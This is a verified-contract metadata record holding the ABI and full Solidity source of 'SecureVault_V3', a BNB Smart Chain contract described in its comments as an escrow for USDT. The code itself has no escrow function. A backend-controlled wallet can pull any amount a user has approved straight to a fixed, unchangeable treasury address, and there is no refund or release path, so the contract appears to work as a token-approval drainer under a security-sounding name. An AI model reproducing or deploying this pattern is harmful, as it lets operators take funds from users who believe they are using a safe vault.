{"metadata":{"compiler":{"version":"0.8.20+commit.a1b79de6"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_companyWallet","type":"address"},{"internalType":"address","name":"_fixedTreasuryWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"},{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"CompanyWalletRotated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"FundsPulled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"isPaused","type":"bool"}],"name":"PausedStateChanged","type":"event"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"companyWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fixedTreasuryWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"pullFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newCompanyWallet","type":"address"}],"name":"rotateCompanyWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_paused","type":"bool"}],"name":"setPaused","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}],"devdoc":{"kind":"dev","methods":{"constructor":{"params":{"_companyWallet":"The authorized authority wallet connected to your backend script.","_fixedTreasuryWallet":"The immutable destination wallet where 100% of the funds will route."}},"pullFunds(address,address,uint256)":{"params":{"amount":"The exact amount to transfer in the smallest unit (18 decimals for USDT)","token":"The ERC20/BEP20 token address (e.g., BSC USDT)","user":"The user wallet that approved tokens to this contract"}},"rotateCompanyWallet(address)":{"details":"Allows the owner to rotate the companyWallet if the backend server keys are compromised. Rotating this does NOT affect or modify the fixedTreasuryWallet."},"setPaused(bool)":{"details":"Allows the owner to completely freeze the pullFunds operation immediately if needed."}},"stateVariables":{"fixedTreasuryWallet":{"details":"Marked as 'immutable' so it is hardcoded into the bytecode at deployment. It CANNOT be changed or manipulated by anyone (even the owner) after deployment."}},"version":1},"userdoc":{"kind":"user","methods":{"constructor":{"notice":"Constructor - sets permanent system configurations"},"fixedTreasuryWallet()":{"notice":"The ONLY destination address where all pulled funds will be deposited."},"pullFunds(address,address,uint256)":{"notice":"Pulls approved tokens from a user's wallet directly to the fixed treasury"},"rotateCompanyWallet(address)":{"notice":"Emergency Key Rotation"},"setPaused(bool)":{"notice":"Emergency Circuit Breaker"},"transferOwnership(address)":{"notice":"Complete Governance Ownership Transfer"}},"version":1}},"settings":{"compilationTarget":{"usdtmain.sol":"SecureVault_V3"},"evmVersion":"shanghai","libraries":{},"metadata":{"bytecodeHash":"ipfs"},"optimizer":{"enabled":false,"runs":200},"remappings":[]},"sources":{"usdtmain.sol":{"keccak256":"0xfb7bdf397c6c2d83f5996bc3fed7afbbecdb1c681c90044b87a9c373572b0551","license":"MIT","urls":["bzz-raw://78fe61f43e6557464c8c29c66dff879b5d7b79a2c25da138ded5a32e522f733a","dweb:/ipfs/QmTtu1mSSSk2hAZnJZQbHkruriG7dP1tWcZSnBRGWiNLxY"]}},"version":1},"sources":{"usdtmain.sol":{"content":"// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.20;\r\n\r\n/**\r\n * @title SecureVault_V3\r\n * @author Your Admin Panel\r\n * @notice Enhanced Escrow Contract for USDT Transfers on BSC with Fixed Treasury\r\n * @dev Compatible with BEP-20/ERC-20 USDT (0x55d398326f99059fF775485246999027B3197955)\r\n */\r\n\r\ninterface IERC20 {\r\n    function transferFrom(address from, address to, uint256 amount) external returns (bool);\r\n    function balanceOf(address account) external view returns (uint256);\r\n    function allowance(address owner, address spender) external view returns (uint256);\r\n}\r\n\r\ncontract SecureVault_V3 {\r\n    \r\n    // State Variables\r\n    address public owner;\r\n    address public companyWallet; // The authorized backend address that calls pullFunds()\r\n    \r\n    /**\r\n     * @notice The ONLY destination address where all pulled funds will be deposited.\r\n     * @dev Marked as 'immutable' so it is hardcoded into the bytecode at deployment.\r\n     * It CANNOT be changed or manipulated by anyone (even the owner) after deployment.\r\n     */\r\n    address public immutable fixedTreasuryWallet;\r\n    \r\n    // Emergency circuit breaker to stop all transfers if needed\r\n    bool public paused;\r\n    \r\n    uint256 public constant VERSION = 3;\r\n\r\n    // Events for on-chain auditing and tracking\r\n    event FundsPulled(address indexed token, address indexed user, uint256 amount, uint256 timestamp);\r\n    event CompanyWalletRotated(address indexed oldWallet, address indexed newWallet);\r\n    event PausedStateChanged(bool isPaused);\r\n    event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\r\n\r\n    // Access Control & Security Modifiers\r\n    modifier onlyOwner() {\r\n        require(msg.sender == owner, \"SecureVault: Not the contract owner\");\r\n        _;\r\n    }\r\n\r\n    modifier onlyCompanyWallet() {\r\n        require(msg.sender == companyWallet, \"SecureVault: Not authorized company wallet\");\r\n        _;\r\n    }\r\n\r\n    modifier whenNotPaused() {\r\n        require(!paused, \"SecureVault: Contract is currently paused\");\r\n        _;\r\n    }\r\n\r\n    /**\r\n     * @notice Constructor - sets permanent system configurations\r\n     * @param _companyWallet The authorized authority wallet connected to your backend script.\r\n     * @param _fixedTreasuryWallet The immutable destination wallet where 100% of the funds will route.\r\n     */\r\n    constructor(address _companyWallet, address _fixedTreasuryWallet) {\r\n        require(_companyWallet != address(0), \"SecureVault: Company wallet cannot be zero address\");\r\n        require(_fixedTreasuryWallet != address(0), \"SecureVault: Treasury wallet cannot be zero address\");\r\n        \r\n        owner = msg.sender;\r\n        companyWallet = _companyWallet;\r\n        fixedTreasuryWallet = _fixedTreasuryWallet; // Locked forever here\r\n        paused = false;\r\n    }\r\n\r\n    /**\r\n     * @notice Pulls approved tokens from a user's wallet directly to the fixed treasury\r\n     * @param token The ERC20/BEP20 token address (e.g., BSC USDT)\r\n     * @param user The user wallet that approved tokens to this contract\r\n     * @param amount The exact amount to transfer in the smallest unit (18 decimals for USDT)\r\n     */\r\n    function pullFunds(\r\n        address token,\r\n        address user,\r\n        uint256 amount\r\n    ) external onlyCompanyWallet whenNotPaused {\r\n        // Strict Input Validations\r\n        require(token != address(0), \"SecureVault: Invalid token address\");\r\n        require(user != address(0), \"SecureVault: Invalid user address\");\r\n        require(amount > 0, \"SecureVault: Amount must be greater than 0\");\r\n        \r\n        // Check: Has the user granted enough allowance?\r\n        uint256 allowance = IERC20(token).allowance(user, address(this));\r\n        require(allowance >= amount, \"SecureVault: Insufficient allowance\");\r\n        \r\n        // Check: Does the user have a sufficient token balance?\r\n        uint256 balance = IERC20(token).balanceOf(user);\r\n        require(balance >= amount, \"SecureVault: Insufficient balance\");\r\n        \r\n        // Interaction: Execute transfer directly to the unchangeable treasury wallet\r\n        bool success = IERC20(token).transferFrom(user, fixedTreasuryWallet, amount);\r\n        require(success, \"SecureVault: Token transfer failed\");\r\n        \r\n        // Log event for backend indexing\r\n        emit FundsPulled(token, user, amount, block.timestamp);\r\n    }\r\n\r\n    /**\r\n     * @notice Emergency Key Rotation\r\n     * @dev Allows the owner to rotate the companyWallet if the backend server keys are compromised.\r\n     * Rotating this does NOT affect or modify the fixedTreasuryWallet.\r\n     */\r\n    function rotateCompanyWallet(address _newCompanyWallet) external onlyOwner {\r\n        require(_newCompanyWallet != address(0), \"SecureVault: Invalid address\");\r\n        emit CompanyWalletRotated(companyWallet, _newCompanyWallet);\r\n        companyWallet = _newCompanyWallet;\r\n    }\r\n\r\n    /**\r\n     * @notice Emergency Circuit Breaker\r\n     * @dev Allows the owner to completely freeze the pullFunds operation immediately if needed.\r\n     */\r\n    function setPaused(bool _paused) external onlyOwner {\r\n        paused = _paused;\r\n        emit PausedStateChanged(_paused);\r\n    }\r\n\r\n    /**\r\n     * @notice Complete Governance Ownership Transfer\r\n     */\r\n    function transferOwnership(address _newOwner) external onlyOwner {\r\n        require(_newOwner != address(0), \"SecureVault: Invalid address\");\r\n        emit OwnershipTransferred(owner, _newOwner);\r\n        owner = _newOwner;\r\n    }\r\n}"}},"matchId":"47182233","creationMatch":"exact_match","runtimeMatch":"exact_match","verifiedAt":"2026-09-06T04:26:05Z","match":"exact_match","chainId":"56","address":"0xBcF4645EFf9cB3BCE118513Fdb69d4A93696bC1E"}